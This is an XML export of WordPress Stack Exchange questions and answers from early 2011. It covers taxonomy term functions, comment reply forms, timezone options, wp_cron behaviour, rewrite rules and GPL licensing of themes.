  <row Id="8393" PostTypeId="2" ParentId="8391" CreationDate="2011-02-02T21:23:55.963" Score="1" ViewCount="" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; what you're looking for is get_the_term_list . Give this a shot&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_term_list( $post-&amp;gt;ID, 'taxname', '', ', ', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;otherwise, this function may pull them. just not sure how they'll spit out in terms of markup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_terms( $taxonomy, array( 'hide_empty' =&amp;gt; false ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditorDisplayName="" LastEditDate="2011-02-02T21:34:47.447" LastActivityDate="2011-02-02T21:34:47.447" CommentCount="3" />
  <row Id="8394" PostTypeId="2" ParentId="8391" CreationDate="2011-02-02T21:27:45.943" Score="4" ViewCount="" Body="&lt;p&gt;This answer was a joint effort with tnorthcutt so I made it &lt;em&gt;community wiki&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several interesting functions available: &lt;code&gt;the_taxonomies()&lt;/code&gt;, which calls &lt;code&gt;get_the_taxonomies()&lt;/code&gt;, which in turn calls &lt;code&gt;get_object_taxonomies()&lt;/code&gt; and &lt;code&gt;wp_get_object_terms()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_taxonomies&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_taxonomies()&lt;/code&gt;&lt;/a&gt; is a documented template tag and is a light wrapper around a call to &lt;code&gt;get_the_taxonomies()&lt;/code&gt;, which is undocumented.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_object_taxonomies&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_object_taxonomies()&lt;/code&gt;&lt;/a&gt; returns a list of associated taxonomies (as simple names or as objects), which could be quite useful in certain situations. It's documented, but it's easy to miss this function because nothing links to it in the Codex. I only found it by perusing &lt;code&gt;wp-includes/taxonomy.php&lt;/code&gt;. There is an undocumented wrapper function around this, &lt;code&gt;get_post_taxonomies()&lt;/code&gt;, which defaults to the current post. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt;&lt;/a&gt; does most of the heavy lifting. It has two &lt;em&gt;very&lt;/em&gt; interesting parameters: an array(!) of object ids and an array(!) of taxonomy names. It ends up generating a moderately evil-looking SELECT and returns an array of terms (as names, objects, or ... read the docs) for the given object(s) within the given taxonomy(ies).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Should you need more complex formatting than is available via &lt;code&gt;the_taxonomies()&lt;/code&gt;, knowing about these &quot;inner&quot; functions should prove useful.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-03T19:39:32.603" LastActivityDate="2011-02-03T19:39:32.603" CommunityOwnedDate="2011-02-03T19:39:32.603" CommentCount="4" />
  <row Id="8395" PostTypeId="2" ParentId="8390" CreationDate="2011-02-02T21:36:41.950" Score="2" ViewCount="" Body="&lt;p&gt;take a look at  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;comment_form();&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and probably add &lt;code&gt;wp_enqueue_script( 'comment-reply' );&lt;/code&gt; in your theme's header.php&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-02T21:36:41.950" CommentCount="6" />
  <row Id="8396" PostTypeId="2" ParentId="8363" CreationDate="2011-02-02T21:41:10.923" Score="1" ViewCount="" Body="&lt;p&gt;This code is designed to allow readers to click on the button and have it open up their default email software and create a subject and link that point to the post the reader is currently visiting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;!-- Begin&#xA;function isPPC() {&#xA;if (navigator.appVersion.indexOf(&quot;PPC&quot;) != -1) return true;&#xA;else return false;&#xA;}&#xA;if(isPPC()) {&#xA;document.write('&amp;lt;a class=&quot;contact&quot; HREF=\&quot;mailto:\?subject\=Take a look at this page I found, ' + document.title + '?body=You can see this page at: ' + window.location + '\&quot; onMouseOver=&quot;window.status=\'Send your friends e-mail about this page\'; return true&quot; TITLE=&quot;Send your friends e-mail about this page&quot;&amp;gt;Email to a Friend&amp;lt;\/a&amp;gt;');&#xA;}&#xA;else { document.write('&amp;lt;a class=&quot;contact&quot; HREF=\&quot;mailto:\?body\=Take a look at this page I found titled ' + document.title + '. You can see this page at: ' + window.location + '\&quot; onMouseOver=&quot;window.status=\'Send your friends e-mail about this page\'; return true&quot; TITLE=&quot;Send your friends e-mail about this page&quot; rel=&quot;nofollow&quot;&amp;gt;Email This!&amp;lt;\/a&amp;gt;');&#xA;}&#xA;// End --&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Found it here : &lt;a href=&quot;http://wphacks.com/how-to-add-email-this-button-wordpress-blog/&quot; rel=&quot;nofollow&quot;&gt;http://wphacks.com/how-to-add-email-this-button-wordpress-blog/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-02-02T21:41:10.923" />
  <row Id="8398" PostTypeId="1" CreationDate="2011-02-02T22:08:23.460" Score="2" ViewCount="101" Body="&lt;p&gt;here is what i have so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  function zip_gallery()&#xA;  {&#xA;      global $post;&#xA;      $images = get_children(array('post_parent' =&gt; get_the_ID(), 'post_type' =&gt; 'attachment', 'numberposts' =&gt; -1, 'post_status' =&gt; null, 'post_mime_type' =&gt; 'image', ));&#xA;&#xA;      if ($images) {&#xA;          $save = $post-&gt;post_title;&#xA;&#xA;          $zip = new ZipArchive;&#xA;          if ($zip-&gt;open($save . '.zip', ZIPARCHIVE::CREATE) === true) {&#xA;              foreach ($images as $image) {&#xA;                  $file = wp_get_attachment_url($image-&gt;ID, 'full', false, false);&#xA;                  $filename = pathinfo($file);&#xA;                  $zip-&gt;addFile($file, $filename);&#xA;              }&#xA;&#xA;              $zip-&gt;close();&#xA;          }&#xA;      }&#xA;  }&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can someone shed some light on what im doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2011-02-11T08:19:14.383" Title="get images from post and make a zip" Tags="&lt;images&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="8399" PostTypeId="1" CreationDate="2011-02-02T22:35:35.090" Score="0" ViewCount="139" Body="&lt;p&gt;Is there a good eLearning module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie. Create classes, quizzes, grades, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just scanning for general information right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2901" LastActivityDate="2011-02-02T23:47:55.423" Title="eLearning Module" Tags="&lt;plugins&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8400" PostTypeId="1" CreationDate="2011-02-02T22:38:06.693" Score="2" ViewCount="611" Body="&lt;p&gt;Can someone tell me how to get the time zone that is set in the WordPress Admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the blog is set to Eastern time, I need this exact string to print out:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;US/Eastern&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is for a function that lives in functions.php in my theme.&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-02-03T05:42:20.820" Title="How to get WordPress Time Zone setting?" Tags="&lt;php&gt;&lt;date-time&gt;&lt;settings&gt;&lt;timezones&gt;" AnswerCount="3" />
  <row Id="8401" PostTypeId="2" ParentId="8400" CreationDate="2011-02-02T22:44:06.503" Score="1" ViewCount="" Body="&lt;p&gt;Check the &lt;a href=&quot;http://codex.wordpress.org/Option_Reference&quot; rel=&quot;nofollow&quot;&gt;Option Reference page&lt;/a&gt;. The option &lt;code&gt;gmt_offset&lt;/code&gt; returns an integer. For example, if the timezone is set to Easter time, &lt;code&gt;gmt_offset&lt;/code&gt; should be -5.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-02-02T22:44:06.503" CommentCount="1" />
  <row Id="8402" PostTypeId="1" CreationDate="2011-02-02T23:14:09.380" Score="0" ViewCount="159" Body="&lt;p&gt;i want to import one blog to another but have that constantly happneing. i.e. when i blog on one site i want it to appear on the other? thanks&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-03T10:21:02.200" LastActivityDate="2011-02-03T15:33:59.380" Title="Syndicate posts to another blog?" Tags="&lt;plugin-recommendation&gt;&lt;blogging&gt;&lt;sync&gt;" AnswerCount="2" />
  <row Id="8403" PostTypeId="2" ParentId="8399" CreationDate="2011-02-02T23:19:58.810" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://buddypress.org/community/groups/buddypress-courseware/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/community/groups/buddypress-courseware/&lt;/a&gt;&#xA;A plugin for buddypress Here’s the features list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;class&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dashboard   &lt;/li&gt;&#xA;&lt;li&gt;Courses&lt;/li&gt;&#xA;&lt;li&gt;Works for both learning models:&#xA;European/United States&lt;/li&gt;&#xA;&lt;li&gt;Bibliography&lt;/li&gt;&#xA;&lt;li&gt;BibTex Import&lt;/li&gt;&#xA;&lt;li&gt;Assignments&lt;/li&gt;&#xA;&lt;li&gt;Responses&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Forum integration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gradebook&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSV Import&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Schedules Calendar Month,Week, Day&#xA;view  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;iCal export&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Customization using an external CSS&#xA;And more.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-02T23:47:55.423" LastActivityDate="2011-02-02T23:47:55.423" />
  <row Id="8404" PostTypeId="2" ParentId="8400" CreationDate="2011-02-02T23:42:35.637" Score="4" ViewCount="" Body="&lt;p&gt;if you need the gmt_offset then &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo get_option('gmt_offset'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will give you an integer like &lt;strong&gt;2 or -2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you need the timezone string use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo get_option('timezone_string'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will give you a string like &lt;strong&gt;America/Indianapolis&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-02T23:42:35.637" />
  <row Id="8405" PostTypeId="1" CreationDate="2011-02-03T00:08:59.067" Score="2" ViewCount="106" Body="&lt;p&gt;I notice that WordPress uses the GPL 2+ license. Can I release my free theme under GPL 3.0, since that's the most current version? Would it create compatibility issues? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2629" LastActivityDate="2011-02-04T11:32:08.893" Title="Can I license my WordPress Theme under the GPL 3.0?" Tags="&lt;licensing&gt;" AnswerCount="3" />
  <row Id="8406" PostTypeId="2" ParentId="7845" CreationDate="2011-02-03T00:13:51.790" Score="0" ViewCount="" Body="&lt;p&gt;This is not possible, and will not be implemented in the near future.&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-02-03T00:13:51.790" CommentCount="2" />
  <row Id="8407" PostTypeId="1" AcceptedAnswerId="8422" CreationDate="2011-02-03T00:28:26.530" Score="0" ViewCount="201" Body="&lt;p&gt;Is there a way to prove information to Facebook so I can control what the title and description information is that comes up when pasting the front page of my blog on facebook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, it seems to grab a random post... not the latest... for th information. I'd prefer to either set the information myself for the front page OR insure that it shows information from my 1st/featured post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get control over this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(again, this isn't related to a &quot;like&quot; button, or anything... but posting the root URL straight to a Facebook status. Sharing the whole site, not a post.)&lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="2391" LastEditorDisplayName="" LastEditDate="2011-02-03T01:45:09.117" LastActivityDate="2011-02-03T09:05:15.803" Title="How to control Facebook share information for the front page?" Tags="&lt;facebook&gt;" AnswerCount="1" />
  <row Id="8408" PostTypeId="1" AcceptedAnswerId="8413" CreationDate="2011-02-03T01:01:13.450" Score="1" ViewCount="81" Body="&lt;p&gt;I'm using the Share and Follow plugin on my site.  I like it for the most part, but the &quot;interactive share buttons&quot; - the ones that appear at the front of the post - are on the first line of my post.  This might be OK, except that it shoves the images that are at the beginning of the majority of my posts out of alignment (on both &lt;a href=&quot;http://www.inkandpixelclub.com&quot; rel=&quot;nofollow&quot;&gt;my main page&lt;/a&gt; and individual posts).  I would much prefer that the buttons appear under the title, but before the first line of content in my post.  But because it's a plugin, I can't figure out how to change where the buttons appear.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2011-02-03T03:26:16.460" Title="Moving Share Buttons from a Plugin" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="8409" PostTypeId="2" ParentId="8380" CreationDate="2011-02-03T01:14:38.483" Score="2" ViewCount="" Body="&lt;p&gt;To add some tags to the rss2 feed you may use the 3 action hooks that can be found in the wp-includes/feed-rss2.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rss2_ns : to add a specific namespace&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rss2_head : to add tags in the feed header&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rss2_item : to add tags in each feed items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's assume you want to add a copyright in your feed's header using the dublin core vocabulary :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_rss2_head(){&#xA;    echo '&amp;lt;dc:rights&amp;gt;&amp;amp;copy; '.bloginfo_rss('name').'&amp;lt;/dc:rights&amp;gt;'.PHP_EOL;&#xA;}&#xA;add_action( 'rss2_head', 'my_rss2_head');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2011-02-03T01:14:38.483" />
  <row Id="8410" PostTypeId="1" CreationDate="2011-02-03T01:23:15.397" Score="0" ViewCount="66" Body="&lt;p&gt;This is what I am trying to do: I've installed Relevanssi plugin in a Wordpress Blog. It improves the Wordpress search engine. When you search something, results are &quot;contextual&quot;, like if you were searching in Google, showing the posts found for your search terms, and the parts of the posts where the keywords are conteined. This is nice, because the default search engine of wordpress deliver the posts containing the searched words, but showing just the first lines of the post (not those lines where the keywords are contained).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is that when you enter a /tag/, you can see the posts that belong to that tag.. BUT..not just the first lines of the post, the lines or parts of the posts containing the tag's name, just like Relevanssi with searchs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution is to redirect every /tag/ to /search/tag/, so the Relevanssi search engine would show the posts containing the keyword of the tag, but that's not good enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, and sorry for my spanglish!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nicolás&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T01:23:15.397" Title="Improve the way tags show the posts" Tags="&lt;search&gt;&lt;tags&gt;" />
  <row Id="8411" PostTypeId="2" ParentId="5058" CreationDate="2011-02-03T01:42:11.323" Score="0" ViewCount="" Body="&lt;p&gt;Hmm... Another consideration when using wp_list_pages for custom post types is making sure you register the custom post type with the 'capability_type' =&gt; 'page' NOT 'post'.... eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    register_post_type( 'mycpt',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'MyCPTs' ),&#xA;            'singular_name' =&amp;gt; __( 'MyCPT' )&#xA;        ),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_nav_menus' =&amp;gt; true,  &#xA;        'capability_type' =&amp;gt; 'page',&#xA;        'menu_position' =&amp;gt; 20,  &#xA;        'hierarchical' =&amp;gt; true,  &#xA;        'rewrite' =&amp;gt; true,  &#xA;        'supports' =&amp;gt; array('title','editor','page-attributes')&#xA;&#xA;    )&#xA;);&#xA;flush_rewrite_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-03T01:42:11.323" />
  <row Id="8412" PostTypeId="2" ParentId="8405" CreationDate="2011-02-03T02:33:06.990" Score="1" ViewCount="" Body="&lt;p&gt;You can, but it may make life more difficult for some companies that employ Armies of Lawyers&amp;reg;. GPL 3 is a leetle bit more hardcore than GPL 2 and them lawyer folks don't like change. It might (possibly) impact whether you can get it listed on &lt;code&gt;wordpress.org/extend/themes/&lt;/code&gt;. I can't find anything that speaks directly to this issue, but the &lt;a href=&quot;http://codex.wordpress.org/Theme_Review#Licensing&quot; rel=&quot;nofollow&quot;&gt;Review Team's page&lt;/a&gt; only mentions GPL 2.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-03T02:33:06.990" />
  <row Id="8413" PostTypeId="2" ParentId="8408" CreationDate="2011-02-03T03:26:16.460" Score="0" ViewCount="" Body="&lt;p&gt;Since it's a plugin you probably don't want to edit it directly as then it will revert every time the plugin is updated. It looks like the problem is that the style has a float:left on it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;float:left; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; &quot; class=&quot;interactive_left&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you remove that float:left you get exactly what you want. Unfortunately for you the style is inline instead of part of a style sheet so I think your only option might be to find that bit of code in the plugin and edit it directly. You could ask the plugin author to move it to a stylesheet to make that easier but it's really up to them.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2011-02-03T03:26:16.460" CommentCount="1" />
  <row Id="8414" PostTypeId="2" ParentId="8400" CreationDate="2011-02-03T05:42:20.820" Score="0" ViewCount="" Body="&lt;p&gt;Don't think you're gonna get a string like &lt;strong&gt;US/Eastern&lt;/strong&gt; without storing all the strings you want in an array and referring to them. Using PHP you can get the timezone abbreviation, ie &lt;strong&gt;EST&lt;/strong&gt;; and if you have those values stored in an array with the strings you want, you can look them up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php date_default_timezone_set(get_option('timezone_string'));&#xA;&#xA;      echo date('T'); // will give you three-character string like &quot;EST&quot;&#xA;&#xA;      $timezones = array (&#xA;          'EST' =&amp;gt; 'US/Eastern',&#xA;          'CST' =&amp;gt; 'US/Central',&#xA;          // etc, etc.&#xA;          );&#xA;&#xA;      echo $timezones ( date('T') ); // should be what you want.&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-02-03T05:42:20.820" />
  <row Id="8415" PostTypeId="2" ParentId="8390" CreationDate="2011-02-03T06:58:25.403" Score="2" ViewCount="" Body="&lt;p&gt;It is good practice to use &lt;code&gt;comment_form()&lt;/code&gt; (customized via hooks, if needed) over manually putting form together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For internals of comment reply script and stuff it targets see &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/js/comment-reply.dev.js&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-includes/js/comment-reply.dev.js&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-03T06:58:25.403" CommentCount="2" />
  <row Id="8416" PostTypeId="1" AcceptedAnswerId="8419" CreationDate="2011-02-03T07:03:45.773" Score="1" ViewCount="243" Body="&lt;p&gt;I've been told by my clients that scheduled jobs are not run some times as expected. I never questioned myself about how wp_cron actually works, I thought it was kinda self-explanatory. But now I doubt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex says that timestamp argument is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the first time that you want the event to occur. This must be in a UNIX timestamp format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know that wp_cron triggers events when someone visits the site. But what if the visit happens little bit after the time hardcoded in timestamp? Will that event still trigger? Or pass?&lt;/p&gt;&#xA;" OwnerUserId="421" LastActivityDate="2011-02-03T07:36:29.100" Title="wp_schedule_event will it run if timestamp has passed?" Tags="&lt;timestamp&gt;&lt;wp-cron&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="8417" PostTypeId="2" ParentId="8398" CreationDate="2011-02-03T07:09:21.287" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/function.ziparchive-addfile.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ZipArchive-&amp;gt;addFile()&lt;/code&gt;&lt;/a&gt; method expects local path to file, while &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_url()&lt;/code&gt;&lt;/a&gt; returns URL. You need to build local path for file from URL or in other way.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-03T09:20:10.477" LastActivityDate="2011-02-03T09:20:10.477" />
  <row Id="8418" PostTypeId="2" ParentId="8416" CreationDate="2011-02-03T07:14:21.577" Score="1" ViewCount="" Body="&lt;p&gt;Yes, event is triggered as soon as possible after scheduled time has passed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-03T07:14:21.577" CommentCount="2" />
  <row Id="8419" PostTypeId="2" ParentId="8416" CreationDate="2011-02-03T07:36:29.100" Score="3" ViewCount="" Body="&lt;p&gt;Yes, the event will trigger when the wp-cron process gets run. If something is preventing wp-cron from running, then it won't trigger at all. If you're having it not work, then something about your server configuration is preventing it from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these cases, you can generally work around them by adding this define to your wp-config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('ALTERNATE_WP_CRON', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-03T07:36:29.100" CommentCount="3" />
  <row Id="8420" PostTypeId="2" ParentId="8390" CreationDate="2011-02-03T07:41:57.033" Score="2" ViewCount="" Body="&lt;p&gt;You should really use comment_form() instead of rolling your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, if you must, make sure that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The textarea has id=&quot;comment&quot;.&lt;/li&gt;&#xA;&lt;li&gt;The wrapping container around the entire comment form (probably a DIV) has id=&quot;respond&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-03T07:41:57.033" CommentCount="4" />
  <row Id="8421" PostTypeId="1" CreationDate="2011-02-03T08:59:24.887" Score="0" ViewCount="457" Body="&lt;p&gt;I am trying to add a url rewrite rule that finds any posts that are connected to the current post (using Posts 2 Posts by scribu). It's tied into the WP Query object, so all I have to do is pass another variable &quot;connected&quot; =&gt; $post_id and it works. This is my rule that I am working with, but I don't have the post_id as a part of my url, so I can't get that via regex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_rewrite_rule(&quot;cleats/([^/]+)/news&quot;, &quot;index.php?tag=\$matches[1]&quot;, 'top');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What really needs to happen if this is going to work is that I need to get the id based on the post slug via get_posts, but that seems like overkill to happen on every single init. Am I going down the right path, or is this not worth it?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What I want to happen is show only related news articles. For instance, I have a Manchester United page (custom post type of club) at /clubs/manchester-united. I want /clubs/manchester-united/news to show a listing of blog articles that are connected to that post. The way I am storing that information is with Posts 2 Posts, linking posts directly to that custom post. That keeps me from having to doubly maintain a list of tags that exactly match the custom post types that I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the query string for returning tags is as simple as ?tag=manchester-united, it works a little differently in my case. What I need is ?connected=45, where 45 is the post-&gt;ID of manchester-united. The regex in the rewrite rule above returns the slug &quot;manchester-united&quot;, but that isn't enough information for my query. What I need to do is get the post-&gt;ID based on the &quot;manchester-united&quot; slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that hopefully a little clearer?&lt;/p&gt;&#xA;" OwnerUserId="472" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-11T13:54:18.403" LastActivityDate="2011-04-12T14:40:12.370" Title="Getting Post ID from slug during init" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;&lt;slug&gt;&lt;plugin-posts-to-posts&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="8422" PostTypeId="2" ParentId="8407" CreationDate="2011-02-03T09:05:15.803" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried adding the Open Graph metadata?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developers.facebook.com/docs/opengraph/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/opengraph/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that should give Facebook the right hints.&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2011-02-03T09:05:15.803" />
  <row Id="8423" PostTypeId="2" ParentId="7066" CreationDate="2011-02-03T09:14:34.103" Score="0" ViewCount="" Body="&lt;p&gt;Same problem and no solution found over the internet. &#xA;Italian in this case is my default language, but i noticed that WPML is calling the last menu you added, either it was italian or english.&#xA;I dont think the problem is uop to the php call.&#xA;Please let me know you find any solution to this issue.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-03T09:14:34.103" CommentCount="1" />
  <row Id="8424" PostTypeId="1" AcceptedAnswerId="8429" CreationDate="2011-02-03T10:14:07.443" Score="0" ViewCount="64" Body="&lt;p&gt;Is there any way to check whether the user has an SEO plugin installed, so as if they do not I can insert my metas etc.&lt;/p&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-02-03T10:51:04.823" Title="Check if SEO plugin installed" Tags="&lt;plugins&gt;&lt;seo&gt;" AnswerCount="2" />
  <row Id="8425" PostTypeId="2" ParentId="8402" CreationDate="2011-02-03T10:16:51.427" Score="3" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;FeedWordPress&lt;/a&gt; plugin, I've used this on one client site to aggregate feeds from their other sites and republish the latest post from each site. The UI is a bit complex and unfriendly, but it does the job.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-03T10:16:51.427" />
  <row Id="8426" PostTypeId="2" ParentId="8424" CreationDate="2011-02-03T10:24:47.400" Score="1" ViewCount="" Body="&lt;p&gt;You can check for specific plugin(s), for example with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_plugin_active()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no way to check for SEO plugin in general, at least not in any kind of reliable way.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-03T10:24:47.400" />
